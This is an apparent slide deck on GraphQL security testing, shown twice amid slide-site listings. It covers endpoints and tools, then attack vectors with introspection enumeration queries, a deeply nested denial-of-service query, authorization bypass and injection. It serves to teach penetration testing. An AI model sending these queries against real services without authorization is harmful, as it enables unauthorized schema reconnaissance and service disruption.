GraphQL Misconfiguration
By - Harshit Sengar
C O N T E N T S
Part 01 Part 02
GraphQL Rest vs Graphql
Part 03
Terminologies
Part 04 Part 05 Part 06
Endpoint & Tools Attacks Vectors Practice Labs
01
GraphQL
01 GraphQL
GraphQL is a query language for your API, and a server-
side runtime for executing queries by using a type system
you define for your data. GraphQL isn't tied to any
specific database or storage engine and is instead backed
by your existing code and data.
A GraphQL service is created by defining types and fields
on those types, then providing functions for each field on
each type.
02
Rest v/s Graphql
GraphQL Misconfiguration
GraphQL Misconfiguration
GraphQL Misconfiguration
03
Terminologies
03 Terminologies
Queries and Mutations
Schema and Types
Arguments
Fields
Variable
OperationName
04
GraphQL Endpoints & Tools
04 GraphQL Endpoints & Tools
• /graphql
• /graphql/console/
• /graphql.php
• /graphiql
• /graphiql.php
• ....etc,
• Graphiql
• Graphql Playground
• Graphql Raider (Burp-Extension)
• InQL (Burp-Extension)
Endpoints Tools
05
Attack Vectors
Introspection Query
DOS
IDOR & Authorization Bypass
Injections
Mutation
05 Attack Vectors
05 Introspection Query
{
__schema {
directives {
name
description
}
subscriptionType {
name
description
}
types {
name
description
}
queryType {
name
description
}
mutationType {
name
description
}
queryType {
name
description
}
}
}
1.
query allSchemaTypes {
__schema {
types {
name
kind
description
}
}
}
2.
query availableQueries {
__schema {
queryType {
fields {
name
description
}
}
}
}
3.
query EnumerationValues {
__type(name: "<ENUM TYPE>") {
kind
name
description
enumValues {
name
description
}
}
}
https://hackerone.com/reports/291531
05 DOS / Nested Queries
query{
allUsers{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
posts{
author{
username
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
05 IDOR & Bypass
Authorization
05 Injections
• SQL Injections
• Command Injections
• XSS
• etc..,
SQL Injection
05 Mutations
• SQL Injections
• Command Injections
• XSS
• Change/Modify the Details
• etc..,
SQL Injection
06
Practice Labs
SKF-Labs
Vuln-graphql-api
06 Practice Labs
Contact:
Email: hsengar.100@gmail.com
Twitter: https://www.twitter.com/sengarharshit1
Linkedin: https://www.linkedin.com/in/sengarharshit1
Medium: https://www.medium.com/@sengarharshit1
THANK YOU

More Related Content

PPTX
Attacking GraphQL
PDF
Adding GraphQL to your existing architecture
PDF
Modular GraphQL with Schema Stitching
PDF
Why UI Developers Love GraphQL - Sashko Stubailo, Apollo/Meteor
PPTX
An intro to GraphQL
PDF
GraphQL across the stack: How everything fits together
PPTX
GraphQL Introduction
PPTX
CONDG April 23 2020 - Baskar Rao - GraphQL
Attacking GraphQL
Adding GraphQL to your existing architecture
Modular GraphQL with Schema Stitching
Why UI Developers Love GraphQL - Sashko Stubailo, Apollo/Meteor
An intro to GraphQL
GraphQL across the stack: How everything fits together
GraphQL Introduction
CONDG April 23 2020 - Baskar Rao - GraphQL

What's hot (20)

PPTX
Introduction to GraphQL
PDF
GraphQL: Enabling a new generation of API developer tools
PDF
GraphQL
PDF
GraphQL ♥︎ GraphDB
PDF
Intro to GraphQL
PDF
The Apollo and GraphQL Stack
PDF
GraphQL Search
PDF
GraphQL + relay
PDF
GraphQL over REST at Reactathon 2018
PDF
GraphQL & Ratpack
PPTX
Introduction to graphQL
PDF
GraphQL & Relay
PPT
Graphql presentation
PDF
REST vs GraphQL
PDF
Standing out as a new grad candidate
PDF
Introduction to GraphQL
PDF
GraphQL Advanced
PDF
How to GraphQL
PPTX
GraphQL is new sexy
PDF
GraphQL Fundamentals
Introduction to GraphQL
GraphQL: Enabling a new generation of API developer tools
GraphQL
GraphQL ♥︎ GraphDB
Intro to GraphQL
The Apollo and GraphQL Stack
GraphQL Search
GraphQL + relay
GraphQL over REST at Reactathon 2018
GraphQL & Ratpack
Introduction to graphQL
GraphQL & Relay
Graphql presentation
REST vs GraphQL
Standing out as a new grad candidate
Introduction to GraphQL
GraphQL Advanced
How to GraphQL
GraphQL is new sexy
GraphQL Fundamentals
Ad

Similar to GraphQL Misconfiguration (20)

PPT
Pentest Application With GraphQL | Null Bangalore Meetup
PPTX
GraphQL Introduction with Spring Boot
PDF
Attacking and defending GraphQL applications: a hands-on approach
PPTX
Working and Attacking GraphQL APIs vs Rest API
PDF
GraphQL Bangkok meetup 5.0
PDF
Tutorial: Building a GraphQL API in PHP
PPTX
Shift Remote: WEB - GraphQL and React – Quick Start - Dubravko Bogovic (Infobip)
PDF
Avoiding GraphQL insecurities with OWASP SKF - OWASP HU meetup
PDF
GraphQL the holy contract between client and server
PDF
Spring GraphQL
PDF
APIsecure 2023 - Learn how to attack and mitigate vulnerabilities in GraphQL,...
PPTX
Introduction to Graph QL
PPTX
Introduction to GraphQL Presentation.pptx
PDF
PHP, the GraphQL ecosystem and GraphQLite
PDF
20170624 GraphQL Presentation
PDF
InterCon 2017 - Tudo o que você quer saber sobre GraphQL - Ubiratan Soares
PPTX
Introduction to GraphQL
PDF
GraphQL as an alternative approach to REST (as presented at Java2Days/CodeMon...
PDF
Marco Liberati - Graph analytics
PPTX
Taking Control of your Data with GraphQL
Pentest Application With GraphQL | Null Bangalore Meetup
GraphQL Introduction with Spring Boot
Attacking and defending GraphQL applications: a hands-on approach
Working and Attacking GraphQL APIs vs Rest API
GraphQL Bangkok meetup 5.0
Tutorial: Building a GraphQL API in PHP
Shift Remote: WEB - GraphQL and React – Quick Start - Dubravko Bogovic (Infobip)
Avoiding GraphQL insecurities with OWASP SKF - OWASP HU meetup
GraphQL the holy contract between client and server
Spring GraphQL
APIsecure 2023 - Learn how to attack and mitigate vulnerabilities in GraphQL,...
Introduction to Graph QL
Introduction to GraphQL Presentation.pptx
PHP, the GraphQL ecosystem and GraphQLite
20170624 GraphQL Presentation
InterCon 2017 - Tudo o que você quer saber sobre GraphQL - Ubiratan Soares
Introduction to GraphQL
GraphQL as an alternative approach to REST (as presented at Java2Days/CodeMon...
Marco Liberati - Graph analytics
Taking Control of your Data with GraphQL
Ad

Recently uploaded (20)

PDF
Architecture types and enterprise applications.pdf
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Developing a website for English-speaking practice to English as a foreign la...
PDF
Getting Started with Data Integration: FME Form 101
PPTX
The various Industrial Revolutions .pptx
PDF
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
PPTX
Benefits of Physical activity for teenagers.pptx
PDF
Five Habits of High-Impact Board Members
PPTX
Web Crawler for Trend Tracking Gen Z Insights.pptx
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
CloudStack 4.21: First Look Webinar slides
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PDF
STKI Israel Market Study 2025 version august
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PDF
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
PDF
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
PDF
ENT215_Completing-a-large-scale-migration-and-modernization-with-AWS.pdf
PPTX
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
Architecture types and enterprise applications.pdf
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Developing a website for English-speaking practice to English as a foreign la...
Getting Started with Data Integration: FME Form 101
The various Industrial Revolutions .pptx
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
Benefits of Physical activity for teenagers.pptx
Five Habits of High-Impact Board Members
Web Crawler for Trend Tracking Gen Z Insights.pptx
Final SEM Unit 1 for mit wpu at pune .pptx
DP Operators-handbook-extract for the Mautical Institute
CloudStack 4.21: First Look Webinar slides
Group 1 Presentation -Planning and Decision Making .pptx
STKI Israel Market Study 2025 version august
Univ-Connecticut-ChatGPT-Presentaion.pdf
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
ENT215_Completing-a-large-scale-migration-and-modernization-with-AWS.pdf
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx

GraphQL Misconfiguration

  • 2. C O N T E N T S Part 01 Part 02 GraphQL Rest vs Graphql Part 03 Terminologies Part 04 Part 05 Part 06 Endpoint & Tools Attacks Vectors Practice Labs
  • 4. 01 GraphQL GraphQL is a query language for your API, and a server- side runtime for executing queries by using a type system you define for your data. GraphQL isn't tied to any specific database or storage engine and is instead backed by your existing code and data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type.
  • 10. 03 Terminologies Queries and Mutations Schema and Types Arguments Fields Variable OperationName
  • 12. 04 GraphQL Endpoints & Tools • /graphql • /graphql/console/ • /graphql.php • /graphiql • /graphiql.php • ....etc, • Graphiql • Graphql Playground • Graphql Raider (Burp-Extension) • InQL (Burp-Extension) Endpoints Tools
  • 14. Introspection Query DOS IDOR & Authorization Bypass Injections Mutation 05 Attack Vectors
  • 15. 05 Introspection Query { __schema { directives { name description } subscriptionType { name description } types { name description } queryType { name description } mutationType { name description } queryType { name description } } } 1. query allSchemaTypes { __schema { types { name kind description } } } 2. query availableQueries { __schema { queryType { fields { name description } } } } 3. query EnumerationValues { __type(name: "<ENUM TYPE>") { kind name description enumValues { name description } } } https://hackerone.com/reports/291531
  • 16. 05 DOS / Nested Queries query{ allUsers{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ posts{ author{ username } } } } } } } } } } } } } } } } } } }
  • 17. 05 IDOR & Bypass Authorization
  • 18. 05 Injections • SQL Injections • Command Injections • XSS • etc.., SQL Injection
  • 19. 05 Mutations • SQL Injections • Command Injections • XSS • Change/Modify the Details • etc.., SQL Injection
  • 22. Contact: Email: [email protected] Twitter: https://www.twitter.com/sengarharshit1 Linkedin: https://www.linkedin.com/in/sengarharshit1 Medium: https://www.medium.com/@sengarharshit1 THANK YOU